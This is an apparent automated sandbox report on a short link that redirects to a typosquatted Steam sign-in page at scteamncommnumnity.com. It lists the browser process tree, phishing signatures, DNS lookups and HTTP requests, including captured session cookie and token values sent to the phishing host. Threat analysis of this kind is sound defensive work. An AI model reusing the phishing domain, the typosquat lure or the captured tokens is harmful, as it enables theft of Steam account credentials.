Edit tour

Windows Analysis Report
https://u.to/UKDgIA

Overview

General Information

Sample URL:	https://u.to/UKDgIA
Analysis ID:	1512743
Infos:

Detection

Score:	48
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected non-DNS traffic on DNS port

Detected suspicious crossdomain redirect

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

Invalid T&C link found

Classification

Process Tree

System is w10x64

chrome.exe (PID: 5172 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2996 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2560 --field-trial-handle=2512,i,4365216078649681689,10752791591650643417,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6372 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://u.to/UKDgIA" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5516 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://store.steampowered.com/login/?14__global-header MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5308 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=1476,i,7825562989352745185,2641261916644919184,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4164 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://s.team/q/1/2248518814943508887 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6368 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=2008,i,17099484998552827374,11799002610539742714,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4775Host: login.live.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 17 Sep 2024 17:21:18 GMTContent-Type: application/json; charset=utf-8Transfer-Encoding: chunkedConnection: closeCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originEtag: W/"41-0AeMVzV1pApYTMktTMxeiuYqqUg"Origin-Agent-Cluster: ?1Referrer-Policy: no-referrerStrict-Transport-Security: max-age=15552000; includeSubDomainsVary: Accept-EncodingX-Content-Type-Options: nosniffX-Dns-Prefetch-Control: offX-Download-Options: noopenX-Frame-Options: SAMEORIGINX-Permitted-Cross-Domain-Policies: noneX-Xss-Protection: 0Cache-Control: max-age=14400CF-Cache-Status: HITAge: 87Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=izUoxHQ%2FNSg9Wcn8RhB4FsUeupcQMH%2Fvnr%2B62o9heh2xnbv2ky4rVbHkirHnY%2F5QHnvwGtAK1MqLv5SYSXUzkrQ%2F7DKIGq8Z7e6%2B0CsKEvX6fUukYHqTNJaTbKu1ax3juYXlP2owzTBZ"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8c4ac59adce7c44a-EWRalt-svc: h3=":443"; ma=86400

Source: https://scteamncommnumnity.com/fiting/geting/going	HTTP Parser: <input type="password" .../> found but no <form action="...
Source: https://store.steampowered.com/login/?14__global-header	HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://scteamncommnumnity.com/fiting/geting/going	HTTP Parser: Title: Sign In does not match URL
Source: https://store.steampowered.com/login/?14__global-header	HTTP Parser: Title: Sign In does not match URL

Source: https://scteamncommnumnity.com/fiting/geting/going	HTTP Parser: No <meta name="author".. found
Source: https://store.steampowered.com/login/?14__global-header	HTTP Parser: No <meta name="author".. found
Source: https://store.steampowered.com/login/?14__global-header	HTTP Parser: No <meta name="author".. found
Source: https://store.steampowered.com/login/?14__global-header	HTTP Parser: No <meta name="author".. found

Source: https://scteamncommnumnity.com/fiting/geting/going	HTTP Parser: No <meta name="copyright".. found
Source: https://store.steampowered.com/login/?14__global-header	HTTP Parser: No <meta name="copyright".. found
Source: https://store.steampowered.com/login/?14__global-header	HTTP Parser: No <meta name="copyright".. found
Source: https://store.steampowered.com/login/?14__global-header	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49756 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: chromecache_488.2.dr, chromecache_219.2.dr, chromecache_208.2.dr	String found in binary or memory:   <span aria-hidden="true">\|</span>  <a href="https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.facebook.com%2FSteam" target="_blank" rel=" noopener"><img src="https://store.akamai.steamstatic.com/public/images/ico/ico_facebook.png" alt="Facebook"> Steam</a> equals www.facebook.com (Facebook)
Source: chromecache_572.2.dr, chromecache_413.2.dr, chromecache_464.2.dr, chromecache_399.2.dr, chromecache_238.2.dr, chromecache_254.2.dr	String found in binary or memory: var youtubeurl = location.protocol + '//www.youtube.com/embed/' + videoid + '?showinfo=0&autohide=1&fs=1&hd=1&modestbranding=1&rel=0&showsearch=0&wmode=direct&autoplay=1'; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: u.to
Source: global traffic	DNS traffic detected: DNS query: scteamncommnumnity.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: store.akamai.steamstatic.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: recaptcha.net
Source: global traffic	DNS traffic detected: DNS query: store.steampowered.com
Source: global traffic	DNS traffic detected: DNS query: cdn.akamai.steamstatic.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net
Source: global traffic	DNS traffic detected: DNS query: fonts.cdnfonts.com
Source: global traffic	DNS traffic detected: DNS query: community.cloudflare.steamstatic.com
Source: global traffic	DNS traffic detected: DNS query: community.akamai.steamstatic.com
Source: global traffic	DNS traffic detected: DNS query: s.team
Source: global traffic	DNS traffic detected: DNS query: login.steampowered.com
Source: global traffic	DNS traffic detected: DNS query: help.steampowered.com
Source: global traffic	DNS traffic detected: DNS query: api.steampowered.com
Source: global traffic	DNS traffic detected: DNS query: shared.akamai.steamstatic.com

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2560 --field-trial-handle=2512,i,4365216078649681689,10752791591650643417,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://u.to/UKDgIA"
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://store.steampowered.com/login/?14__global-header
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=1476,i,7825562989352745185,2641261916644919184,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://s.team/q/1/2248518814943508887
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=2008,i,17099484998552827374,11799002610539742714,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2560 --field-trial-handle=2512,i,4365216078649681689,10752791591650643417,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=1476,i,7825562989352745185,2641261916644919184,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=2008,i,17099484998552827374,11799002610539742714,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Source: global traffic	HTTP traffic detected: GET /UKDgIA HTTP/1.1Host: u.toConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fiting/geting/going HTTP/1.1Host: scteamncommnumnity.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /26402d54745351580b5c514f.js HTTP/1.1Host: scteamncommnumnity.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.I56cw5NQULlXZjwao4HXnEBj0QEUstDc.Gb39iixSErBuzV88.azuaYIB6oBpBUVmHEfMcBqr6GM58HAcSRQu8Bb4l8tYUkhJb6sMAHyrxE8Yk9EudLq3n1ViwtiXajA7gr9GyqHp5vvVcv10NRyejGb1H0p_0DFpG95D9xMOC91j9t6LUKgyK0XUgzZPYtIgbe9McM9I0OySWDE4IGKTuK7VPX5xFsb0DVIX4tDksnl_4hW-Ewn2pKied8zmr2P9EhhM2b9f3_B1J9woKtYQZXSqMxQ_6OyOBDnLkXrE.0L8YyKP1VHxFl6GFnhgtFA; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6ImI5YzU5YjIxZTg0N2ZkMDQwOTEyY2U3MTJhMWE4M2JkIiwic2VydmljZSI6IlN0ZWFtIn0.vdCkSFGEFj8sw52zufWKFnHiFUwW8-VcgM7SxpD4j0M
Source: global traffic	HTTP traffic detected: GET /ajax/libs/jquery/3.4.1/jquery.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ui/1.11.3/jquery-ui.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /public/shared/css/motiva_sans.css?v=Rc2hpzg2Ex3T&l=english HTTP/1.1Host: store.akamai.steamstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /public/shared/css/shared_global.css?v=mm2EqtpQ_Tvc&l=english HTTP/1.1Host: store.akamai.steamstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /public/shared/css/buttons.css?v=6PFqex5UPprb&l=english HTTP/1.1Host: store.akamai.steamstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /public/css/v6/store.css?v=z0n7Kqde-Ths&l=english HTTP/1.1Host: store.akamai.steamstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /public/css/v6/account.css?v=P2WLI8B6ddJe&l=english HTTP/1.1Host: store.akamai.steamstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /public/css/v6/cart.css?v=u2FIaietX6aF&l=english HTTP/1.1Host: store.akamai.steamstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/jquery/3.4.1/jquery.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /public/shared/css/shared_responsive.css?v=tzDCtkxeI-e5&l=english HTTP/1.1Host: store.akamai.steamstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /public/shared/javascript/jquery-1.8.3.min.js?v=.TZ2NKhB-nliU HTTP/1.1Host: store.akamai.steamstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0 HTTP/1.1Host: store.akamai.steamstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
